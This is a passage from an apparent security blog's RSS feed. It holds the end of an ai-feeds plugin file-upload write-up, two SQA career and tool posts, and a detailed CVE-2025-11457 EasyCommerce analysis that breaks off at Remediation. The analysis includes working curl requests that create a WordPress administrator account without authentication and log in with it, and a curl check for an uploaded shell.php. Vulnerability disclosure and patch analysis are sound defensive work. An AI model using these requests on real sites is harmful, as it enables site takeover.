&lt;pre&gt;&lt;code&gt;curl -I &quot;https://target.com/wp-content/plugins/ai-feeds/shell.php&quot;
# HTTP/1.1 200 OK  →  file exists and PHP is executing
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After Step 3, a response containing &lt;code&gt;uid=&lt;/code&gt; confirms code execution.&lt;/p&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;h3&gt;Changed Files&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;File&lt;/th&gt;
&lt;th&gt;Change&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;actualizador_git.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Renamed to &lt;code&gt;actualizador_git.php.off&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ai-feeds.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Version bumped to 1.0.12&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;includes/enqueue.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Version strings updated to 1.0.12&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;readme.txt&lt;/code&gt; + locale readmes&lt;/td&gt;
&lt;td&gt;Changelog entry added; stable tag bumped&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Fix Explanation&lt;/h3&gt;
&lt;p&gt;The fix is a rename: &lt;code&gt;actualizador_git.php&lt;/code&gt; → &lt;code&gt;actualizador_git.php.off&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Renaming the file to &lt;code&gt;.off&lt;/code&gt; makes it non-executable by PHP (the web server will not parse it as PHP). The file is not deleted — it still exists in the plugin directory — but the &lt;code&gt;.off&lt;/code&gt; extension means Apache/Nginx will not invoke the PHP engine for it.&lt;/p&gt;
&lt;p&gt;The changelog entry across all locale readme files reads:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;Removed internal Git update helper script that was accessible directly&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The fix addresses the symptom (the file being PHP-executable) rather than the root cause (missing authentication). A complete fix is to delete the file entirely. If the functionality is still needed, it should only run from the WordPress admin context, protected by a &lt;code&gt;current_user_can(&apos;manage_options&apos;)&lt;/code&gt; check and a nonce.&lt;/p&gt;
&lt;h3&gt;Code Diff (Key Changes)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;diff --git a/actualizador_git.php b/actualizador_git.php.off
similarity index 100%
rename from actualizador_git.php
rename to actualizador_git.php.off
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;+= 1.0.12 =
+* Removed internal Git update helper script that was accessible directly
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Before November 25, 2025&lt;/td&gt;
&lt;td&gt;Vulnerability discovered and reported by Ryan Kozak&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;November 25, 2025&lt;/td&gt;
&lt;td&gt;Publicly disclosed by Wordfence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;November 25, 2025&lt;/td&gt;
&lt;td&gt;Patched version 1.0.12 released&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;December 22, 2025&lt;/td&gt;
&lt;td&gt;Plugin closed on &lt;a href=&quot;http://WordPress.org&quot;&gt;WordPress.org&lt;/a&gt; plugin directory (Security Issue)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;Update the &lt;code&gt;ai-feeds&lt;/code&gt; plugin to version &lt;strong&gt;1.0.12&lt;/strong&gt; or later.&lt;/p&gt;
&lt;p&gt;Note: As of December 22, 2025, this plugin has been &lt;strong&gt;closed on &lt;a href=&quot;http://WordPress.org&quot;&gt;WordPress.org&lt;/a&gt;&lt;/strong&gt; due to this security issue. If you are currently running any version of this plugin, we strongly recommend you &lt;strong&gt;deactivate and remove it entirely&lt;/strong&gt; until a re-reviewed version becomes available in the plugin directory.&lt;/p&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/ai-feeds/trunk/actualizador_git.php#L1&quot;&gt;plugins.trac.wordpress.org — actualizador_git.php source&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset/3402321/ai-feeds&quot;&gt;plugins.trac.wordpress.org — changeset 3402321 (the patch)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/d0n601/CVE-2025-13597&quot;&gt;github.com/d0n601/CVE-2025-13597 — Researcher&apos;s PoC&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://ryankozak.com/posts/cve-2025-13597&quot;&gt;ryankozak.com — Researcher&apos;s blog post&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-13597&quot;&gt;CVE-2025-13597 — NVD/MITRE record&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/ai-feeds/ai-feeds-1011-unauthenticated-arbitrary-file-upload&quot;&gt;Wordfence Advisory&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2025-12-03T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>FileMock for SQA Engineers: File Upload Testing Made Easy</title><link>https://hurayraiit.com/blog/filemock-for-sqa-engineers/</link><guid isPermaLink="true">https://hurayraiit.com/blog/filemock-for-sqa-engineers/</guid><description>FileMock is a free browser-based tool for generating test files of any format and size — the perfect time-saver for QA engineers who need mock files instantly.</description><pubDate>Tue, 02 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;As QA engineers, we often spend unnecessary time preparing mock files for testing. Whether it’s checking file uploads, validating API endpoints, or running automated test suites, we constantly need files of different sizes and formats. I recently discovered a free tool called &lt;a href=&quot;https://filemock.com/&quot;&gt;FileMock&lt;/a&gt; that makes this entire process much faster and simpler, and I think it’s worth sharing.&lt;/p&gt;
&lt;p&gt;Link: &lt;a href=&quot;https://filemock.com&quot;&gt;https://filemock.com&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://filemock.com/&quot;&gt;FileMock&lt;/a&gt; is a browser-based mock file generator that works entirely on the client side. There are no uploads, no login requirements, and no servers involved. Everything is processed inside your browser, which keeps your data completely private—perfect for sensitive or internal projects.&lt;/p&gt;
&lt;p&gt;What makes the tool so useful is its wide support for file types. You can instantly generate:&lt;/p&gt;
&lt;p&gt;• Video: MP4, MOV, AVI, MKV&lt;br /&gt;
• Audio: MP3, WAV, OGG&lt;br /&gt;
• Images: PNG, JPG, WebP, GIF&lt;br /&gt;
• Documents: PDF, DOCX, XLSX, TXT, JSON, CSV&lt;/p&gt;
&lt;p&gt;All files are fully functional, not empty placeholders. For QA teams, this means more realistic test scenarios without the hassle of searching for sample files.&lt;/p&gt;
&lt;p&gt;Some practical use cases include testing upload validation, preparing mock data for automation, validating storage systems, creating large files for performance testing, and generating media files for processing pipelines.&lt;/p&gt;
&lt;p&gt;Since &lt;a href=&quot;https://filemock.com/&quot;&gt;FileMock&lt;/a&gt; is fast, free, reliable, and works on any device, it’s a handy tool to bookmark. If you regularly deal with file-based testing, this can save you a lot of time and simplify your workflow.&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><atom:updated>2025-12-02T00:00:00.000Z</atom:updated><category>sqa</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>Smart Job Application Strategies for SQA Engineers</title><link>https://hurayraiit.com/blog/smart-job-application-strategies-for-sqa-engineers/</link><guid isPermaLink="true">https://hurayraiit.com/blog/smart-job-application-strategies-for-sqa-engineers/</guid><description>Practical job application tips for SQA engineers — from applying early and tailoring your CV to avoiding common mistakes that cost you interview calls.</description><pubDate>Tue, 02 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Many SQA engineers apply to dozens of jobs but still don’t get interview calls. In most cases, the problem isn’t the skill level—it’s the application strategy. Here are some simple, practical tips to help you improve your chances immediately.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Apply Early&lt;/strong&gt;&lt;br /&gt;
Recruiters often check the first batch of applications and shortlist candidates quickly. If you apply late, your profile may never even be seen. Turn on job alerts so you can apply as soon as a new role is posted.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. Read the Requirements Carefully&lt;/strong&gt;&lt;br /&gt;
Many people apply blindly without checking whether they truly match the job description. Attention to detail matters. Spend a few minutes reading the entire circular—this is your first test as an SQA engineer.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. Match Your Skills to the Job&lt;/strong&gt;&lt;br /&gt;
If the JD mentions skills you don’t have and they aren’t reflected in your CV, your chances drop instantly.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Tip:&lt;/strong&gt; Keep &lt;em&gt;two CVs&lt;/em&gt;—a generic one and a customized one for each job posting.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;4. Never Add Skills You Don’t Have&lt;/strong&gt;&lt;br /&gt;
Recruiters will ask you questions directly from your CV. If you list something you can’t explain, it creates a bad impression and reduces your chances drastically.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5. Add Skill Levels Clearly&lt;/strong&gt;&lt;br /&gt;
Instead of just listing tools or technologies, add a level such as &lt;em&gt;Basic&lt;/em&gt;, &lt;em&gt;Intermediate&lt;/em&gt;, or &lt;em&gt;Advanced&lt;/em&gt;. This helps recruiters understand your strengths quickly.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;6. Learn the Must-Have Skills&lt;/strong&gt;&lt;br /&gt;
If the job highlights a “must-have” skill that you don’t know—learn it. Many key SQA tools can be learned quickly with online tutorials.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;7. Improve Your Communication Skills&lt;/strong&gt;&lt;br /&gt;
Technical skills matter, but communication skills often decide whether you get shortlisted. Good communication shows clarity, confidence, and professionalism.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;A smart, targeted application always performs better than applying to random jobs. With the right strategy, SQA engineers can significantly increase their chances of getting interview calls and landing better opportunities.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
</content:encoded><atom:updated>2025-12-02T00:00:00.000Z</atom:updated><category>sqa</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2025-11457: Privilege Escalation in EasyCommerce Plugin</title><link>https://hurayraiit.com/blog/cve-2025-11457-privilege-escalation-in-easycommerce-plugin/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2025-11457-privilege-escalation-in-easycommerce-plugin/</guid><description>CVE-2025-11457: CVSS 9.8 privilege escalation in EasyCommerce (≤1.8.2) lets unauthenticated attackers create WordPress administrator accounts.</description><pubDate>Mon, 01 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2025-11457&lt;/strong&gt; is a &lt;strong&gt;CVSS 9.8 (Critical)&lt;/strong&gt; Unauthenticated Privilege Escalation vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/easycommerce/&quot;&gt;EasyCommerce – AI-Powered, Blazing-Fast &amp;amp; Beautiful WordPress Ecommerce Plugin&lt;/a&gt; for WordPress. The vulnerability affects all versions from 0.9.0-beta2 through 1.8.2. A single crafted HTTP request to the plugin&apos;s order creation endpoint lets an unauthenticated attacker create a WordPress admin account and take full control of the site.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;EasyCommerce – AI-Powered, Blazing-Fast &amp;amp; Beautiful WordPress Ecommerce Plugin&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;easycommerce&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-11457&quot;&gt;CVE-2025-11457&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;9.8 (Critical)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Vector&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unauthenticated Privilege Escalation (Improper Privilege Management)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/easycommerce.1.8.2.zip&quot;&gt;&amp;lt;= 1.8.2&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/easycommerce.1.8.3.zip&quot;&gt;1.8.3&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;November 10, 2025&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/researchers/kr0d&quot;&gt;kr0d&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/easycommerce/easycommerce-ai-powered-blazing-fast-beautiful-wordpress-ecommerce-plugin-090-beta2-150-unauthenticated-privilege-escalation&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;The EasyCommerce – AI-Powered, Fast &amp;amp; Beautiful WordPress Ecommerce Plugin for WordPress is vulnerable to Privilege Escalation in versions 0.9.0-beta2 to 1.8.2. This is due to the &lt;code&gt;/easycommerce/v1/orders&lt;/code&gt; REST API endpoint not properly restricting the ability for users to select roles during registration. This makes it possible for unauthenticated attackers to gain administrator-level access to a vulnerable site.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;Vulnerable Code Path&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;1. REST API Endpoint Registration (&lt;code&gt;app/Controllers/Common/API.php&lt;/code&gt;, line 2329–2371)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;POST /wp-json/easycommerce/v1/orders&lt;/code&gt; endpoint is registered with the &lt;code&gt;is_user&lt;/code&gt; permission callback:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// app/Controllers/Common/API.php — register_order_endpoints()
$this-&amp;gt;register_route(
    &apos;/orders&apos;,
    array(
        &apos;methods&apos;    =&amp;gt; WP_REST_Server::CREATABLE,
        &apos;callback&apos;   =&amp;gt; array( new Order(), &apos;create&apos; ),
        &apos;args&apos;       =&amp;gt; array(
            &apos;customer&apos; =&amp;gt; array(
                &apos;description&apos; =&amp;gt; __( &apos;The customer ID or an array of customer data&apos;, &apos;easycommerce&apos; ),
                &apos;required&apos;    =&amp;gt; true,
            ),
            // ... other args, no validation on &apos;role&apos; inside &apos;customer&apos;
        ),
        &apos;permission&apos; =&amp;gt; array( $this, &apos;is_user&apos; ),
    )
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;2. Permission Callback Always Returns True (&lt;code&gt;app/Traits/Auth.php&lt;/code&gt;, line 23–26)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// app/Traits/Auth.php
public function is_user( $request ) {
    return __return_true();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;is_user()&lt;/code&gt; unconditionally returns &lt;code&gt;true&lt;/code&gt;, which means any unauthenticated HTTP request passes the permission check. There is no nonce, no authentication token, and no IP restriction.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. Order Creation Passes Raw Customer Data to User Creation (&lt;code&gt;app/API/Order.php&lt;/code&gt;, line 71–75)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// app/API/Order.php — create()
} elseif ( is_array( $customer ) ) {
    $customer_obj = new Customer();
    $customer_obj-&amp;gt;create( $customer );  // $customer comes directly from request params
    $customer_id = $customer_obj-&amp;gt;get_id();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If the &lt;code&gt;customer&lt;/code&gt; parameter is a JSON object and the email address does not exist yet, the plugin passes the full &lt;code&gt;$customer&lt;/code&gt; array — unsanitized — directly to &lt;code&gt;Customer::create()&lt;/code&gt;. This includes any &lt;code&gt;role&lt;/code&gt; field the request contains.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. Role Assigned Without Restriction (&lt;code&gt;app/Abstracts/User.php&lt;/code&gt;, line 330)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// app/Abstracts/User.php — create()
$this-&amp;gt;role = isset( $args[&apos;role&apos;] ) ? $args[&apos;role&apos;] : $this-&amp;gt;role;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;create()&lt;/code&gt; method in the abstract &lt;code&gt;User&lt;/code&gt; class directly assigns &lt;code&gt;$args[&apos;role&apos;]&lt;/code&gt; if it is present. No sanitization occurs before this call. So if an attacker sends &lt;code&gt;&quot;role&quot;: &quot;administrator&quot;&lt;/code&gt; in the request, their account is created with full administrator privileges.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5. User Saved with Attacker-Controlled Role (&lt;code&gt;app/Abstracts/User.php&lt;/code&gt;, line 230–241)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// app/Abstracts/User.php — save()
$userdata = array(
    &apos;user_email&apos;   =&amp;gt; $this-&amp;gt;email,
    &apos;user_login&apos;   =&amp;gt; $this-&amp;gt;email,
    &apos;display_name&apos; =&amp;gt; $this-&amp;gt;name,
    &apos;role&apos;         =&amp;gt; $this-&amp;gt;role,   // attacker-controlled value
    &apos;user_pass&apos;    =&amp;gt; $this-&amp;gt;password,
);
$user_id = wp_insert_user( $userdata );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;WordPress&apos;s &lt;code&gt;wp_insert_user()&lt;/code&gt; accepts any valid role string. The new account is created with whatever role the attacker specified.&lt;/p&gt;
&lt;h3&gt;Root Cause&lt;/h3&gt;
&lt;p&gt;The vulnerability combines two flaws:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Missing authentication on the order creation endpoint&lt;/strong&gt;: &lt;code&gt;is_user()&lt;/code&gt; always returns &lt;code&gt;true&lt;/code&gt;, allowing unauthenticated requests.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Missing role allowlist / sanitization&lt;/strong&gt;: The &lt;code&gt;User::create()&lt;/code&gt; method blindly trusts the caller-supplied &lt;code&gt;role&lt;/code&gt; argument and passes it directly to &lt;code&gt;wp_insert_user()&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Why Controls Failed&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;customer&lt;/code&gt; REST API parameter description states it accepts &quot;The customer ID or an array of customer data (name and email)&quot;. The &lt;code&gt;role&lt;/code&gt; key was never listed as a valid field in the argument definition, but it was never rejected either. WordPress REST API definitions do not enforce strict schemas. Undefined keys are ignored during validation, but they remain readable via &lt;code&gt;get_param()&lt;/code&gt; in the handler. Because &lt;code&gt;Order::create()&lt;/code&gt; passes the entire customer parameter directly to &lt;code&gt;User::create()&lt;/code&gt;, no layer existed between the HTTP request and the role assignment.&lt;/p&gt;
&lt;h3&gt;Attack Impact&lt;/h3&gt;
&lt;p&gt;An unauthenticated attacker can:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Create a new WordPress user account with the &lt;code&gt;administrator&lt;/code&gt; role&lt;/li&gt;
&lt;li&gt;Immediately log in to the WordPress admin dashboard&lt;/li&gt;
&lt;li&gt;Take full control of the site: install/remove plugins and themes, read all user data, modify content, exfiltrate credentials, or deploy malware&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This PoC is provided for educational and defensive security research purposes only.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;WordPress installation with the &lt;code&gt;easycommerce&lt;/code&gt; plugin installed and activated&lt;/li&gt;
&lt;li&gt;Plugin version &amp;lt;= 1.8.2&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step-by-Step Reproduction&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Identify the target site&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Confirm the plugin is active and identify the WordPress REST API base URL. EasyCommerce&apos;s REST API namespace is &lt;code&gt;easycommerce/v1&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;TARGET=&quot;https://example.com&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Craft the privilege escalation payload&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Send a POST request to the order creation endpoint, supplying a &lt;code&gt;customer&lt;/code&gt; object that includes &lt;code&gt;&quot;role&quot;: &quot;administrator&quot;&lt;/code&gt;. The &lt;code&gt;items&lt;/code&gt; field can be any string here — the user creation code runs before cart validation, so the account is created even if the cart check fails later.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s -X POST &quot;$TARGET/wp-json/easycommerce/v1/orders&quot; \
  -H &quot;Content-Type: application/json&quot; \
  -d &apos;{
    &quot;items&quot;: &quot;placeholder&quot;,
    &quot;customer&quot;: {
      &quot;email&quot;: &quot;attacker@evil.com&quot;,
      &quot;name&quot;: &quot;Attacker&quot;,
      &quot;first_name&quot;: &quot;Evil&quot;,
      &quot;last_name&quot;: &quot;Attacker&quot;,
      &quot;role&quot;: &quot;administrator&quot;,
      &quot;password&quot;: &quot;Sup3rS3cr3t!&quot;
    },
    &quot;status&quot;: &quot;pending&quot;
  }&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 3: Confirm account creation&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Even if the order fails — for example, due to an invalid cart hash — the plugin has already created the user account before reaching cart validation. Log in to the WordPress admin with the attacker&apos;s credentials:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s -X POST &quot;$TARGET/wp-login.php&quot; \
  -d &quot;log=attacker%40evil.com&amp;amp;pwd=Sup3rS3cr3t%21&amp;amp;wp-submit=Log+In&amp;amp;redirect_to=%2Fwp-admin%2F&amp;amp;testcookie=1&quot; \
  -H &quot;Content-Type: application/x-www-form-urlencoded&quot; \
  -c /tmp/cookies.txt \
  -b &quot;wordpress_test_cookie=WP+Cookie+check&quot; \
  -L
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Expected Result&lt;/h3&gt;
&lt;p&gt;A new WordPress user &lt;code&gt;attacker@evil.com&lt;/code&gt; is created with the &lt;code&gt;administrator&lt;/code&gt; role. The attacker can now log into the WordPress admin panel and has full site control.&lt;/p&gt;
&lt;h3&gt;Verification&lt;/h3&gt;
&lt;p&gt;After the POST request, query the WordPress database or admin panel:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Via WP-CLI (on the server)
wp user get attacker@evil.com --field=roles

# Expected output:
# administrator
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Alternatively, navigate to &lt;code&gt;$TARGET/wp-admin/users.php&lt;/code&gt; and confirm the new user appears with the Administrator role.&lt;/p&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;h3&gt;What Changed&lt;/h3&gt;
&lt;p&gt;The patch modifies only one file:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;app/Abstracts/User.php&lt;/code&gt;&lt;/strong&gt; — line 330&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Fix Explanation&lt;/h3&gt;
&lt;p&gt;The patch removes the ability for callers to specify a role via the &lt;code&gt;$args&lt;/code&gt; array in &lt;code&gt;User::create()&lt;/code&gt;. Instead, the role is always kept as the object&apos;s pre-set default:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-		$this-&amp;gt;role       = isset( $args[&apos;role&apos;] ) ? $args[&apos;role&apos;] : $this-&amp;gt;role;
+		// Prevent user-supplied role for security reasons (CVE-2025-11457)
+		$this-&amp;gt;role       = $this-&amp;gt;role;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;Customer&lt;/code&gt; class sets &lt;code&gt;protected $role = &apos;customer&apos;&lt;/code&gt; by default. So the fix ensures all users created through the order flow receive the &lt;code&gt;customer&lt;/code&gt; role, no matter what the request contains.&lt;/p&gt;
&lt;p&gt;However, the fix is not complete. It addresses the unvalidated role assignment, but does &lt;strong&gt;not&lt;/strong&gt; fix the &lt;code&gt;is_user()&lt;/code&gt; permission callback, which still returns &lt;code&gt;true&lt;/code&gt; unconditionally. The order creation endpoint remains open to unauthenticated users. This may allow other abuse such as registration spam or cart manipulation. Defenders should evaluate whether &lt;code&gt;is_user()&lt;/code&gt; should require authentication in a future release.&lt;/p&gt;
&lt;h3&gt;Code Diff (Key Changes)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;--- a/app/Abstracts/User.php
+++ b/app/Abstracts/User.php
@@ -327,7 +327,8 @@ abstract class User {
 		$this-&amp;gt;name       = $args[&apos;name&apos;];
 		$this-&amp;gt;first_name = $args[&apos;first_name&apos;];
 		$this-&amp;gt;last_name  = $args[&apos;last_name&apos;];
-		$this-&amp;gt;role       = isset( $args[&apos;role&apos;] ) ? $args[&apos;role&apos;] : $this-&amp;gt;role;
+		// Prevent user-supplied role for security reasons (CVE-2025-11457)
+		$this-&amp;gt;role       = $this-&amp;gt;role;
 		$this-&amp;gt;password   = isset( $args[&apos;password&apos;] ) ? $args[&apos;password&apos;] : wp_generate_password();
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unknown&lt;/td&gt;
&lt;td&gt;Vulnerability discovered and reported by kr0d&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;November 10, 2025&lt;/td&gt;
&lt;td&gt;Publicly disclosed on Wordfence Intelligence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;November 13, 2025&lt;/td&gt;
&lt;td&gt;Advisory last updated&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;November 10, 2025&lt;/td&gt;
&lt;td&gt;Patched version 1.8.3 released&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
